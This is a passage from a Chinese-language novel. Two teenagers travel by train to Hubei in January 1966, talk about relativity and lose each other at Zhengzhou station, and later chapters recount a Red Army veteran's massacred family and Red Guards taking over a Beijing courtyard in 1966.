韩厂长回屋取了钱,又拎着那只鸟笼子来到秦国颂的家里,看到二凤正在与秦国颂两个人说话。他对秦国颂说:“孩子,这50元钱你收好,这只鸟笼子呢?你刚做好先放到你这里,让你对你这个作品有一个欣赏的过程,我真不想一下子就夺你所爱呢!” 秦国颂一下子变得手足无措起来,满脸通红的说:“不,不不,不用放我这儿,我还会做呢。” 二凤接过鸟笼子,快人快语的说:“韩叔叔,就放一天行吗?我们玩一天,明天就给您送过去。” 韩厂长爽朗地笑了:“行啊,玩几天都行,别把它弄坏了就行。” 秦国颂低着头说:“不会玩坏的,要是真的玩坏了,我再给您做一个更好的。” 韩厂长拍了拍秦国松的肩:“孩子别做这个了,用我给你的钱组装你的收音机,不过最好别做你说的那个能收短波的收音机,你不知道吧?政府开始限制收听短波了,听明白了吗?” 秦国颂抬起眼睛看着韩厂长。非常认真的点了点头…… 送走了韩长顺厂长,二凤仔细地端详着这只鸟笼子。她好奇的问秦国颂怎么想出来做这样的鸟笼子,又指着鸟笼子里的那些设计机关问怎样把它们装进去的?她一连串的问了好几个问题,秦国颂慢慢的讲给她听。接着二凤又说道: “这只笼子真的能抓住鸟吗?咱们挂到树上去试试好吧!” 秦国颂说道:“我正要想试试呢,走!咱们去试试。” 于是他们拿了条绳子,拎着笼子来到了槐树下面。秦国松把绳子的一头扔向了槐树的树杈上,绳子绕过树杈落到了地上,秦国颂拽着绕过树叉的绳子上的两头,稍稍的用力拉了一下感觉到可以,就把绳子的一头拴在了鸟笼子的挂钩上,拉着绳子的另一头把鸟笼拽到了树杈上,然后把绳子的这一头固定在树身上。 大树很粗,绳子绕不过来,秦国颂让二凤拽着绳子的一头回屋拿锤子和钉子,把钉子钉在树上固定绳子,固定好绳子后秦国松用手拽的拽感觉很牢固,就招呼二凤回了屋。 进了屋后,秦国颂对二凤说:“咱们在屋等着,等着鸟来了,落到笼子上,那鸟就会掉进笼子里了。” 二凤看了看外面挂在树上的笼子,对秦国颂说:“你现在有钱了,咱们可以去湖北你们老家看看了吧!” 秦国颂点头:“嗯,明天把笼子给韩厂长送过去,咱们就去买票。” 二凤专注的看着外面挂在树上的笼子,忽然她啊了一声,就听见外面咔嚓一下,鸟笼子从树上掉了下来。 他俩赶紧跑出屋去看看掉在地上的鸟笼子,还好,挂的不太高,鸟笼子整体无大碍,只是摔坏了一个角。二凤心疼的看着摔坏了的鸟笼子,一个劲儿的埋怨自己。秦国颂接过鸟笼子安慰二凤。 “没事没事,我修好就行。” 他们把鸟笼子拎回屋。秦国颂仔细地查看了摔坏的部分,思考着怎样修理鸟笼子的方案,一边安慰二凤。 “它怎么就掉下来了呢?”边说边走出屋来到了树下,看着拴在树上的绳子,绳子好好的,钉子也没有掉,笼子上的挂钩也好好的,它怎么就掉下来了呢? 他看了看站在身旁的二凤:“把笼子修好给韩叔叔送过去,笼子摔坏了,咱们可不能要人家这么多钱了,再退给他20块钱吧?” 二凤咬了咬下嘴唇,委屈的点了点头。 秦国颂突然没头没脑的问了二凤一句。 “你说树上掉下来的苹果怎么就偏偏砸中了牛顿的脑袋呢?”停顿了一下,他又说:“要是砸中了爱因斯坦的脑袋,那该有多好……” 二凤从委屈中回过神来,不解的看着秦国颂:“爱因斯坦,谁呀?” 秦国颂没有回答二凤的话,只是抬起头来看着那棵大槐树,拴鸟笼的绳子在那里晃动。秦国颂的心忽然有了一点不祥的预感…… 第5章 在路上 1966年1月10号,星期一。 还有10天就要过年了。秦国颂和二凤商量决定踏上南去的列车去湖北红安县。 他们开了介绍信,兑换了全国粮票,怀揣着40多块钱踏上了南去的47次列车。 出发前,黄国英来找秦国颂,黄国英的心里有一种说不出的滋味。这种滋味他不但说不出,而且还是不能说。只是用略显忐忑和责怪的口吻对秦国颂说。 “真是人小心大,这么大的事也不提前跟我商量一下,还有二凤也是,怎么也不给家里商量一下呢” “她说跟大凤讲了。”秦国颂略有些歉疚的对黄国英说道。 “我就是听大凤说了才过来找你,你也是,怎么不提前跟我说一下呢?我可以给你一些帮助啊。”黄国英用略带指责的口吻关切的说道。 秦国颂低下了头,小声说道:“鸟笼子卖了,路上的费用基本上就够了,我也就没再找你,二凤说她姐给了她10块钱,我算了一下,我们一路上的钱差不多够用了。” “我要是不来找你,你可能连个告别的话都没有,就走了?” “没,没有,真的,我想着去找你跟你亲自说的呢。” 黄国英看着憋的脸有些发红的秦国颂,心想他还是个孩子呢,别难为他了,让他高高兴兴的和二凤一起去吧。 黄国英接着说道:“出门要多注意安全,别看二凤大你两岁,你要好好的看管照顾她才是,注意把钱管好了,别弄丢了。” 秦国颂点了点头:“放心吧哥。我们俩的钱分着呢,我带着我的她带着她的,就怕有个万一。” “你们准备去多长时间?” “一个星期左右吧,年前我们就回来了。” 黄国英趁秦国颂不注意的时候,悄悄的在他的外套里放入了10元钱。 列车上。秦国颂和二凤挨着列车的车窗坐着,列车上吃饭的时间到了,列车员推着餐车在售卖晚餐,列车上的饭又便宜又好吃还不收粮票,两个人花了三毛钱买了两份饭,让秦国颂惊喜的是菜里竟然还有肉。他只记得10天前过元旦的时候吃过一次肉,10多天了没吃过肉了,他拿筷子夹起菜里的一片肉,狼吞虎咽的就吞了进去。 二凤第一次看他吃饭的样子,噗嗤一声笑了:“慢点吃,别烫着。” 秦国颂看了看二凤:“你也吃吧,真香!” 二凤点了点头,没有动筷子,看着秦国颂三下五除二的吃掉了自己的那一份,吃的真干净。 二凤把自己的那份饭推到秦国颂面前:“你把我这份也吃了吧,我现在不饿,等一会儿饿了的话我买一个烧饼吃就行。” 秦国颂看了看二凤推到自己面前的那份饭,又把饭盒推到了二凤面前。说道:“我吃饱了,你吃吧。” 二凤说:“我再分你一半,这么多我吃不下。” 秦国颂用眼睛盯着二凤看:“真的?” 二凤点了点头:“嗯,分给你一半,把菜里的肉都给你拨过去,我不爱吃肉。” 二凤边说边把自己的那份饭分成两份,把菜里的肉一块一块的用筷子夹给了秦国颂,用眼睛盯着秦国颂看。 “你是男的,多吃点,多吃点……” 秦国颂看着二凤点了点头,忽然他心里有一种说不出的感觉。喉咙颤动了一下,想说又说不出,他低下头拿起二凤分给他的那半份饭,大口的吃着,眼泪忽然不争气的流了出来…… 二凤也低下头端着自己面前的半盒饭,慢慢的送进自己的嘴中,她不敢看秦国颂,怕自己的眼泪也跟着流出来。 秦国颂吃完了饭,用纸擦了擦手和嘴唇,抹了一下眼角的泪,低着头说:“我长那么大,除了我妈这样对过我,还真的没有第二个人这样对我,谢谢你了。” 二凤抬头看着秦国颂: “别说这些,咱们俩现在一起出门了,就是一起同命运的同学和兄妹,就是在一起为了一个共同的目标而去奋斗的战友,我没有把你当弟弟看待,而是把你当成了一个好朋友一个我信得过的喜欢的在一起的好朋友!” 秦国颂这时才认真的仔细的端详坐在对面的这个好朋友。自从他决定和二凤出一趟远门,两个人要在一起待上7天8天的时光,这种情景在他脑子里一直都是一种懵懂的幻想。二凤长得这么漂亮,一般情况下能和她近距离的接触都是一种奢侈,更别说只有他和她两个人在一起共同生活好几天,这对秦国颂来说无异于上天赐给了他一个仙女。给他的感觉就一直是在梦里一样。而现在坐在他对面的给他照顾,又给他关怀这个漂亮的活生生的姑娘竟然真实的存在于他的身边,还相距离这么近。这对于一个十五六岁的男孩子,第一次接近同龄女性所产生的新鲜而刺激的感觉让他浑身觉得有一种轻飘,像要飞起来似的。更何况秦国颂是一个智商超群,情商尚未开发的懵懂男孩。这种事情降临在他的面前,实在是他始料未及的。他只能被动的应付眼前所发生的一切。 “我长这么大第一次坐火车,而且还是坐这么远的火车。”秦国颂缓了缓情绪,冒着猛子说出来这样的一句话。 “我这是第二次,第一次坐火车是跟我爸前年去北京。就去了一天,我爸去北京办事,我们哪儿都没转,就在天安门前照了张相。”二凤说道。 秦国颂接着说:“感觉特别新鲜,这要是白天坐火车多好,能看到外面。” 二凤说道:“放心吧,能让你看个够,我们要坐一天一夜的火车呢。等天亮了,保证你的眼睛都不够使了。” “嗯,今天晚上我都不想睡觉了,也不困,就瞪着眼睛看外面漆黑的夜,等到大站停了,我下车给你买好吃的去,车上和站台上的东西都便宜,而且还不收粮票!” “咱俩一起下去,在站台上逛逛,看到好吃的咱俩就买。”二凤抢着说道。 “行,反正车上人也不多,有的是坐。”秦国颂兴奋的说道。 列车在黑暗的夜里行驶,车窗外面一片黑暗,他俩把脸贴在车窗上,瞪大眼睛看着窗外的夜色。只有在列车交错的时候,他们才把脸挪开窗相视一笑。 秦国颂对二凤说:“二凤姐,你发现没有当对面的火车开过来的时候的声音和它交错呼啸而过的差别吗?” 二凤回答:“有啊,这在物理学上被称为多普勒效应。” 秦国颂点了点头:“上学时学过,只知道理论。今天才真的实际的体验到。以前没坐过火车,只是站在火车道旁听到过,可没有在火车上亲自感受来的强烈多了。两列火车对面驶来,这种感受要加倍的震撼。” 他看二凤认真的听着,接着又说道:“多普勒效应不仅仅适用于机械波,它还适用于所有类型的波,包括电磁波和引力波,有科学家利用多普勒效应得出的宇宙正在膨胀的结论。” 二凤看着比自己小两岁的秦国颂:“你懂的可真多,看来你喜欢物理学?” “嗯,我比较喜欢物理学,还喜欢数学,你知道吗二凤姐,研究它们的终极目的还是哲学。当然还有神学呢,我觉得这里面一定是有道理的。” 他又接着说道:“你知道牛顿的万有引力定律,它竟然是计算出来的,它的名字叫《自然哲学的数学原理》,数学计算出了自然哲学,自然哲学解释了物理学。然而最终一个问题始终困扰着他,他不知道万有引力究竟是怎么来的,于是便转向了神学,去追问上帝。” “追问到了吗?”二凤问道。 “没有。上帝也没有告诉他,他追问的上帝,我想不会是像咱们人一样的。他追问的也许是一种道,就像咱们古人所说的天。”秦国颂说:“这个问题我问过我们的物理老师,他也不知道。也是啊牛顿都不知道的事情,我们老师怎么能知道呢?当我们的老师借给了我一本书,我才知道了,还有一个人。就是那天我看了鸟笼子从槐树上掉下来对你说的一句话。当年要是苹果没有砸到牛顿头上,而是砸到了爱因斯坦头上,又会怎么样呢?我说的这个人就是爱因斯坦,他写了一本书《相对论》,这本书我正看,这次咱们出门我也带了它。” 他边说边从书包里拿出那本书:“写这本书的这个人告诉了引力是怎么来的,但这里边不包括电磁力,当然还有量子力学。……” 二凤听得入迷了,她慢慢的由欣赏秦国颂逐渐达到了崇拜的地步。秦国颂刚才说的这一套,她从来都没有听说过。这个上初中的孩子怎么懂这么多,而且都是其他人想不到的事情。比她这个高中生懂的还要多。 秦国颂又从书包里拿出另一本书,这是一本恩格斯的《自然辩证法》单行本。二凤拿过书:“你还研究马列?” “说不上研究。我就是比较喜欢这本书,从里面学习一下看事情的方法,能拓宽自己的思路。”接着他又说道:“《相对论》是纯学术的著作。《自然辩证法》是告诉人们怎么样看待这个世界,这个世界不是绝对的,而是辩证的。我觉得看任何事情事物都是这样的。我们中国古代有一位伟大的哲人老子也是这样看问题的。” “老子的书你也读过?” “读过一点。一开始没看过不知道,等一看才知道,老子那里面讲的都是哲学。” 秦国颂接着又说道:“任何事物都有它的局限性,都有正反两方面不可以绝对的看问题的…… 比如说科学家牛顿他的理论支撑了物理学好几百年,被物理学界奉若神明,没有人认为他有错。可是这个叫爱因斯坦的人指出了牛顿的缺陷,他想着把牛顿的理论和他自己的理论统一起来。 当然统一后的理论占主要角色地位的就是爱因斯坦了。不过他的理论到现在还没有得到物理学界的统一肯定。也不是说他能推翻牛顿的理论,但是首先应当肯定的是他找到了引力到底是来自何方这一点非常重要的理论。 他是站在比牛顿视角更远的维度来看这个世界来看这个宇宙的。 我认为爱因斯坦是对的。” 秦国颂滔滔不绝的说了这么一大堆话。二凤认真细致的听。 此时的她已经把秦国颂当成她崇拜的偶像了。 列车依旧在黑暗中咣当咣当的行驶,这是车上的大多数旅客都已经昏昏欲睡了。 秦国颂和二凤两个人丝毫没有倦意。二凤津津有味的听着秦国颂所说的话,看得出这些话她非常的享用,因为这些话她长这么大从来没有听说过呢。 忽然二凤调皮而又认真的说道:“这次出行对于我真的是意外的收获,去不去你们老家我觉得都不是很重要了,我要把你写成一篇文章,发到校刊上去!” 秦国颂忙摆手说道:“可别,可别,千万别写我,我这些都是不成熟的想法,千万不能写,你还是到了我们老家了解了解我爸的历史,写他吧!” 二凤笑了:“好的,尊重本人意见。”说着她做了个作揖的动作,把秦国颂也逗乐了。 秦国颂又补充道:“你没看今年的元旦社论吗?要突出政治挂帅。政治是统帅是灵魂,政治思想工作必须要摆在一切工作之上……”接着有一些半开玩笑的对二凤说:“你这搞政治宣传工作的,这可是重要的宣传呀。” 二凤被他又说笑了:“对呀,宣传老革命宣传老红军,这也是政治啊。” 两个年轻人在火车上聊着,平时不太爱说话的秦国颂聊起这些来简直是滔滔不绝。他不等二凤提问就如同上足了弦的钟表一样,从微观到宏观咔嚓咔嚓的走个不停。二凤呢,就俨然像是一个忠实的听众一样兴趣盎然的听着他的讲解……时间过得飞快,天亮了。 东方显出了鱼肚白,车外的景色可以看得清楚了,秦国颂兴奋地指着窗外说: “呀,天亮了!你看时光走的有多快?” 二凤激动的看着窗外:真是啊,过得真快,景色好美!” 秦国颂说:“这就是相对论。当一个人处在幸福当中的时间就觉得过得非常快,处在痛苦当中。那时间就觉得过得慢,这就是相对论呢,时间这个概念与人的心情有关。” 想了想他又说道:“那时间又是什么呢?空间呢?我们所计算出来的时间是在地球上由于地球的自转而得出来的结论,而离开地球,时间又是什么呢?” 二凤眨着好奇的眼睛看着秦国颂摇了摇头。 这时候广播喇叭里传出了女播音员甜美的声音:各位旅客注意了,前方到站是郑州站,有下车的旅客提前做好准备。郑州是个大站,列车停站10分钟,留在站台上买东西的旅客不要逗留太久,不要上错列车…… 郑州站到了,他们下了车来到了站台上买东西。站台在铁轨的中间,南来北往的车都停在站台的两边,站台上的人可真多。 下了车以后,二凤就转错了方向,明明是北,她偏偏认为是南。秦国颂帮她倒了几次方向,她都辨认不过来,于是秦国颂拽了她的手:“咱俩别离开,别一会儿再上错了车!” 二凤紧紧的拉着秦国颂的手,她感觉到一股温暖,一股甜蜜,一种从未有过的感觉,流遍全身。 她感觉到好幸福。 站台上售货车很多,他们走到一辆人少的车跟前。秦国颂问她:“昨天晚上你吃饭就吃的少,今天要多吃点,喜欢吃什么我给你买。” 二凤说:“我买吧,先花我的钱,别总花你的呀。”边说边从自己的口袋里掏出钱来。 秦国颂说:“别买的太多了,咱俩够吃就行了,每个站台列车上都有卖吃的。” 就在二凤掏钱买吃的的时候,秦国颂忽然说了一声:“不好!咱俩光顾着急急忙忙的下车了,我书包还在车上呢,钱和书都在包里!” 二凤点头答应:“你快去吧,我买好了就上车!” 秦国颂急急忙忙的回到了列车上,找到他们的座位,发现书包不见了。 他一下子惊出了一身冷汗,又看了旁边的几个座位,空空如也。 他赶紧跑去找列车员,告诉列车员说他放在车上的书包不见了。 列车员看他急成这样子安慰说:“小伙子别着急,你的书包是个什么样子的?” “就,就,就是一个军用的绿色挎包,里面有书还有钱!” 列车员领着他来到乘务员室,拿过书包对他说:“是这个吗?” 秦国颂一把拿过书包:“对对!就是这个,太谢谢你了!” 列车员安慰他说:“不用谢,我看座位上空着没人,书包在座位上,就想这是旅客着急下车把东西忘了,就替你保管起来了。” 秦国颂忙说:“太谢谢你了!” 这时列车上的播音员开始播报了:旅客同志们请注意,列车就要开车了,旅客同志们请注意,列车就要开车了…… 秦国颂又出了一身冷汗,忙对列车员说:“我车下面还有一个人呢,她在买吃的呢!” 列车员拉着他来到车门前,车门马上就要关了。列车员指的指站台说:“你看站台上的旅客都没有了,都走了,哪有人呢?” 秦国颂探出身,看了一下站台,站台上孤零零的几架售货车与售货员,哪有二凤的影子啊? 他急忙回到车内,挨着车厢,一个座位,一个座位的找,没有看到二凤的影子。 他又找到列车员,告诉列车员说给广播一下,丢了一个人找不到了。 列车员问清了情况,走向播音室。 列车上的广播喇叭反复地播着寻人启事。秦国颂呆呆的坐在自己的座位上,等着二凤回来,二凤就像一只断了线的风筝。无影无踪。 列车员过来安慰他:“也许是她上错车了,要是在这个列车上,她不会听不到的,别着急,我报告列车长了,通知一下对面那辆列车,看看是否有你要找的那个人。” 秦国颂急忙问道:“那辆车和咱们这辆车是同方向的吗?” 列车员说:“不是的,是相反的方向,如果她在那辆车上的话让她在前一站下车,然后再坐下一趟列车,跟咱们同方相的就行了。” 列车员仔细的问清了秦国颂他们到达的目的地,耐心地给他讲解了一下下一趟列车的到达时间,告诉他到了车站以后与站台上的广播室联系,让广播室给他寻找人,给他播寻人启事。 秦国颂默默的坐在了座位上,回想刚才发生的一切事情,他呆呆的看着窗外。 疾驰的列车咣当咣当的响成了一个平稳而单一的节奏。时间在这时候好像是凝固了一样。初升的太阳映红了整个车厢,他没有丝毫的兴趣去欣赏窗外的景色。只是焦急的等待时间在一秒一秒的过去,每一秒的时间都是那样的漫长。他在等待着乘务员给他传达二凤那边的消息…… 大约过了半个小时的时辰,对秦国颂来讲,这就如同过了半个世纪,这种漫长的等待就如同在火上煎熬一般撕扯着他的心。 乘务员向他走来,他死死的盯着乘务员的脸,恍惚的感觉到是一张笑得很灿烂的脸,那脸上的嘴在动。大概的意思是: 他的同伴找到了,坐错了车,已经倒向了和咱们同方向的另一辆车。到你们目的地的时间大约比咱们这辆车晚一个小时左右你先到了在候车室等她就行要注意收听车站里的广播她到了以后广播会通知你的…… 秦国颂迷迷糊糊的听着,眼前映出的却是二凤的笑脸,笑得很甜,很可爱…… 就是这样一张可爱的笑脸竟然被他弄丢了。 现在他的脑子什么也不想,眼前晃动的全是二凤的身影,他感觉手上还有二凤手上的余温,他用手在自己的脸上抚摸了一下,二凤那青春的气息隐隐的在包裹着他,浸透着他全身的血液…… 昨天晚上的影像在他的脑海里一幕一幕的出现。 秦国颂在列车上回忆着和二凤的点点滴滴,一点细节都不曾错过。任凭晃动的车厢,把窗外的风景依次剥落,他只是呆呆的看着窗外。窗外的景色一丁点儿都不曾进入他的脑海。他忘记了饥渴。只觉得时间过得太慢,边回忆边心里默默的祷告,快点到达目的地!快点到达武汉。 漫长的一天总算过去了,列车到达武汉已经是晚上了。秦国颂下了车来到候车大厅,他先去了候车室,给相关人员说明了情况,车站的工作人员热情的接待了他,告诉他在接待室等着就行,他的同伴到了武汉也会来接待室的,当接待人员知道他一天都没有吃喝了,赶紧给他倒了一杯水。秦国颂大口喝着水,这时他真的感觉自己是饿了。在候车大厅小卖部里买了个面包,三口两口就吃下了肚,然后就在接待室边喝水边等着二凤的到来。 同样一天没吃东西的二凤终于到了。当二凤见到秦国颂时一下子就把他紧紧的搂住,失声痛哭起来。 秦国颂有些害羞的安慰着二凤:“好了好了,见了面就行了,咱们赶紧找个地方吃饭吧。” 二凤边擦眼泪边说:“我这吃的还有呢,在郑州站台买的,我一口都没吃,都在这儿呢!” 秦国颂眼圈一下就红了,心里竟然有了一些隐隐作痛的感觉…… 他长这么大,第一次领略了情为何物,第一次尝到了心疼一个人和怜爱一个人的滋味。这种滋味竟然怪怪的在心口上悬着。有一种要哭的感觉,他忽然觉得自己长大了…… “咱们先找个地方坐下,然后去打点水吃你买的那些东西。” 二凤紧紧的拽着他:“我可不让你一个人去了,这次你去了哪儿,我跟着去哪儿,一刻也不分离!”说完又哭了起来。 秦国颂忽然像哄孩子一样哄着二凤,他竟然一下子变成一个大人了。 “好的好的,咱再也不分开了,晚上咱就在这候车室里睡觉,明天早晨咱们再坐长途班车去红安,好吗?” 二凤眼里含着泪,笑了。 转而秦国颂告诉了二凤他自己的一个重大发现——24小时之内的一个白天和黑夜,让他体会到了水火两重天的经历。时间和空间只是个人感受的一个假的体验,同样的时间在个人感受不同的情况下会变短或者变长,空间呢会变小或者变大。其实呢,真正的时间和空间没有变,只是个人的体会不同罢了。那么时间和空间到底是什么呢? 爱因斯坦说的对,物体的运动的时间和空间是它自己就在那里存在的,与参照物无关。反过来说,物体运动的速度快慢不但能够改变人们对时间和空间的概念,甚至物体本身都会发生变化。也就是说物体运动的速度越快运动的钟会变慢,运动的尺子会缩短,运动的质量会变大,物体所处在的空间会变小。 二凤瞪大了疲惫的眼睛看着在那里滔滔不绝的秦国颂,听着听不懂他说的这些话的含义,心想这都一天一夜了,觉没有睡就吃了一顿饭,他哪来的这些精神的?这是正常人吗?转念又一想,自己跟他不是一样吗?也没睡觉也没吃饭呀,想到这噗嗤一声,自己笑出了声。 秦国颂看着二凤:“真的,不怕你笑话。昨天晚上咱俩在车上待了一晚,我就觉得时间特别短,就像几分钟一样,今天白天我一个人在车上待了一天,就觉得时间过了一年。” 忽然他也笑了:“我发现了一个重大秘密。原来相对论就是你!害得我好苦啊。” 二凤又哭了,流着眼泪说:“我呢?和你一样……”她用手擦着泪水…… “我觉得那就是……就是一辈子……”说到这里,她忽然噎住了。觉得自己说差了什么,或者又觉得说漏了什么,羞涩的破泣为笑了。 吃过吃的,喝了一些水又去了趟卫生间。在去卫生间的时候,尽管是男女卫生间分着的,两个人也是一个人先进去另一个人在门口等着,等那个人出来这个人再去另一间,说好的就在卫生间门口等着,不见不散。这次失散把他们散怕了。 武汉的候车大厅很暖和,到夜晚人也不是很多,他们俩找了一排椅子在椅子上面躺着,秦国颂让二凤先躺着,他就坐在椅子边的地上,用身子挡着二凤,免的二凤在椅子上睡觉的时候翻身再摔下来。两个年轻人真的是太累了。二凤躺在椅子上,一会儿就睡着了。秦国颂坐在地上,背靠着椅子边,头贴着二凤的胳膊肘,拿起书来想看会儿书,眼皮不争气的打着架,书掉落在腿间,他就这样坐着睡着了…… 第6章 红安 红安县以前叫黄安县。红安县是中国工农红军第四方面军1931年12月攻克这个县城以后改的。 秦义辉就是这一年参加的革命。15岁的他参加了中国工农红军。 秦义辉的家境不错,兄弟姐妹5人。他读了几年私塾。15岁那年又偷偷的接触了一些进步的书籍,人又比较聪明,便萌生了出去闯荡世界的想法。正巧这一年红军打进了他的家乡,他便背着父母毅然决然地参加了红军。 在部队里他很快就得到了领导的赏识,再加上他有文化,胆子又大,行事稳健,两三年后他便得到了提升,升职为营教导员。 1934年,他所在的部队经过辗转又回到了红安县,离开家乡三年多了,对家乡的事情他一无所知,这次回来他就想着去家里看一看,看看家里的人是否安好。 他带着兴奋与激动的心情来到了家门前。 大门关着,他敲了敲门,没有回应,他轻轻的推了一下门,院门吱扭扭的开了一条缝,他用力一推大步跨入院子里。他对着院子喊了几声。无人应答。他大叫了几声,叫着家人的名字,仍无人应答。他快步走到父母的门前,推开父母的房门。几只野鸟从他推开的门缝里扑棱棱的飞出。这时他抬头看了看,门旁都布满了蜘蛛网。他大声吼起来,震的屋顶上的尘土都扑簌簌的往下掉。他额头上暴着青筋转回身快速的推开院里屋内的所有的门。仍旧空无一人。景色凄惨破败。大概好久这院里都没有人来过了。 一种不祥的预感袭上了他的心头。他拔出手枪对着天空砰砰就是几枪。侯在院外的士兵听到院内的枪响,纷纷冲进院内,看到他瞪着双眼大声的吼叫着。 “爹!娘!你们在哪儿?!我回来了!” 空荡荡的院落,空荡荡的屋内回荡着他吼叫的声音…… 他跑出院外去敲邻居家的门,敲了几家,终于有一家开了门,那家人打量了他半天才认出他来,但是就是不肯说他父母以及家人去了何方。 他气急败坏的推开了邻居,想到了住在山上的还有一家远房亲戚,立即带着士兵奔向了山里。 他找到了远房亲戚,亲戚哭诉着对他讲述了事情的原委…… 原来那年他偷偷跑出去参加了红军,之后跟随着大部队就离开了家乡。当地的土豪劣绅知道他参加了红军便向白匪军团告了密,这个土豪领着一伙白匪军闯进了他的家,逼着他的家人告诉他们秦义辉去了哪里?家人们自然不知道他去了哪里,就是知道了也不会说的。白匪把秦义辉的一家八口人还有他哥哥的两个孩子全带到了山上绑在树上。对秦义辉的家人严刑拷打。实在问不出情况,先摔死了那两个孩子,然后一个一个的把他的家人用刺刀开膛破肚,全部杀害在山上。并且对乡村的扬言不准收尸,扩散消息等着秦义辉来自投罗网。秦义辉跟随大部队一走就是几年,对家里的消息一无所知,要不是这一次转战回来,他还不知道家里发生的这些变故。 听完远房亲戚的陈述,秦义辉肝胆欲烈,怒火穿胸!在亲戚的带领下来到了家人被害的现场,现场只剩下几具零落的尸骨,几只寒鸦在附近飞起降落,几声哀嚎。 秦义辉拔出手枪,对着天空又放了几枪,然后带着跟他来的几个士兵重回乡镇要报仇雪恨。没想到他这一次回家在院里那几声枪响惊动了白军。他们还没有冲进镇子,就被镇上埋伏的白军全部俘虏。 白军抓住他,如获至宝。对他威逼利诱,让他签字画押投降。他瞪着血红的眼睛怒吼着:“笑话!签字画押是白日做梦!要命,老子有一条!” 秦义辉被捕的消息传到了部队,部队立刻组织力量进行施救。就在白匪军准备将他转移的时候,部队巧妙地袭击了这股白匪,把他与其他几个士兵从虎口里救了出来。 回到部队后。秦义辉受到的处分。他家人的被害迫使他精神上受到了巨大的震动。他昏睡了好几天,再苏醒后仿佛就换了一个人一样…… 这就是二凤与秦国颂千里迢迢费尽周折,历时五天所调查的了解的事情的经过…… 几年后二凤把这次采访的故事写成了一篇长篇小说发表在当时很有影响力的一个刊物上。这篇小说与当时的真实情景完全是大相径庭。二凤用她惊人的想象力与她的文学功底创作出了一个时代需要的新文学形象。这部小说彻底改变了二凤的生活。从而奠定了她作为文学新人而屹立于新文坛上的地位。一个作家应运而生。 第7章 运动 凤凰鸣矣,于彼高冈。梧桐生矣,于比朝阳。菶菶萋萋,雍雍喈喈。 诗经《大雅.卷阿》 1966年夏。 大雅回到了阔别一年的大院,一年之中她给大凤写过几封信,只有最后这封信她才落了收信的地址。 信的内容极其简单,大多都是问候的话以及工作身体健康之类的祝词。个人隐私问题是不敢在信里写的,因为那时的信件是没有任何隐私可言的,接下来就是很多私字一闪念。私事别说有了,就是脑子里思想里想一想都不行,那叫斗私批修! 大院在这一年夏天发生了翻天覆地的变化,大凤写信让她无论如何赶紧回来一趟,信的内容非常简单,只有寥寥几个字。 院内突变,速回!凤。 大雅是一个人回来的,她没有带孩子,孩子太小才几个月,由大雅的妈妈在家里照看着。 大雅进到大院时,大院的景色让她惊的目瞪口呆。 院内一派繁忙的景色,没有人注意到她的到来,一些她不认识的年轻人穿着绿军装带着红卫兵袖章出出进进的忙碌着,一个个表情严肃指指点点的大声喊着。 院里的邻居们大都躲在屋里躲着,只有几个小孩子在院里的角落里呆呆的看着,院门口影壁墙上那个大大的福字已经被铁锨铲得缺横少竖。院中央那道墙上月亮门两边写着大大的标语: 破四旧,立四新。打倒党内走资本主义道路的当权派! 打倒一切牛鬼蛇神。 铲除一切害人虫! 大雅站在院门口,转身向着自己的房门看了一眼,只一眼便吓得她魂飞魄散。 屋门口的棉门帘子早已不知去向,她的屋门开着,几个穿着绿色军装的红卫兵小将在她的屋里进进出出。 她的屋门口挂了一个牌子,牌子上写着:八一纵队造反兵团临时指挥部。 吓得她没敢进自己的屋,径直穿过外院走进内院。她想先去大凤那里了解一下情况,听听大凤讲一讲这几天发生了什么情况。 她刚走到月亮门前,就看到院里有一群人正在拆除那座假山。假山周围的围墙已被拆了一半。指挥拆除假山的正是他们居委会主任张阿姨。大雅没敢吭声,顺着屋檐来到了大凤的门前。她敲了敲门,真巧,大凤在家。 大凤开了门,赶紧把她让进屋。 “大凤!” “大雅姐!” 她们两个人紧紧抱在一起,大凤眼泪夺眶而出: “大雅姐,你的房子被别人占了……” 大雅拍了拍大凤的肩,神情冷漠的说:“我刚进门的时候看到了……” 大凤连忙让大雅先坐下,给她倒了杯水。 “你先喝口水,咱俩慢慢说,国英被单位叫走闹革命去了,他们单位也乱了。” 大雅瞪大了眼睛:“公安厅都乱了?” 大凤看了她说:“全乱了。检察院也乱了,我爸都受冲击了。” 大雅呆呆的看了大凤,好半天都没缓过神来。 大凤又说道:“国英他爸现在还没什么事儿,我爸在单位已经有人给他贴大字报了,说他是走资派,好像听他们说还要贴到家里来的呢。” 大雅长大了嘴:“你爸,他……” 大凤接着说道:“二凤回学校闹革命去了,加入了一个造反组织,好像她还是组织的头目,她还要领着人回家给我爸贴大字报呢。” “我的天呐……” 大雅感到头晕目眩,用手撑着床边,身子靠着床头,闭着眼睛,两滴泪珠从睫毛上滑了下来。 大雅斜靠在大凤的床头上,泪珠扑簌簌地往下掉。她听着大凤他爸的处境,想起了有家不能回的自己,越发觉得委屈了,呜呜耶耶的哭了起来…… 大凤给她拿了块毛巾,边劝边问道:“别哭了,你打算接下来怎么办?还是去找他们?你可以找居委会的张姨问一下你房子的事情,她肯定知道,你可以去问问她。” 大凤见大雅不言语,又接着说道:“要不然你还是先回去,家里还有一个吃奶的孩子呢,我觉得他们也闹腾不了几天,没准过两天他们就搬走了,你再搬过来住。” 大雅擦了擦了眼泪,呆呆的听着大凤说,点了点头。 “那不成我就先回去吧,趁天气还不晚,应该还有回老家的长途车,现在车辆特别少,运行很不正常呢。” 大凤点了点头,给她拿了两个馒头。 “拿着,在路上吃,外面的人都在忙着他们的事情,没有人注意你,赶紧早点走吧,过两天这边消停了,我通知你,让你再过来。” 大雅的眼泪又下来了:“好妹妹,真是我的好妹妹,你们家的事都这样了还想着我……见了你爸,让你爸想开点,都会过去的……” 大凤也哭了,点了点头:“嗯,我会劝劝我爸的,我爸性格好,什么事都看得开。你走吧,路上注意,这边有了消息,我会及时通知你。” 大雅点了点头一下子抱住了大凤。温存的贴了大凤的脸颊,在她脸上亲了一口。然后慢慢的分开,大雅拿起大凤放在桌子上的两个馒头包好,缓缓的走出了大凤的家门…… 第二天上午,二凤真的领着她的造反组织的成员来到她们家给她爸贴大字报了。早晨去学校的时候,她先找的大凤。给大凤说了,她要领着组织上的人来家里给她爸贴大字报,并且申明了自己的观点:她爸在单位已经被打成了走资派,趁这几天她爸还自由,她要赶紧的先行行动,先发制人,不能等着她爸单位的人来家里贴大字报。他们单位的人要是来家里的话,那就不是光贴大字报那么简单了,弄不好还要是被抄家的。 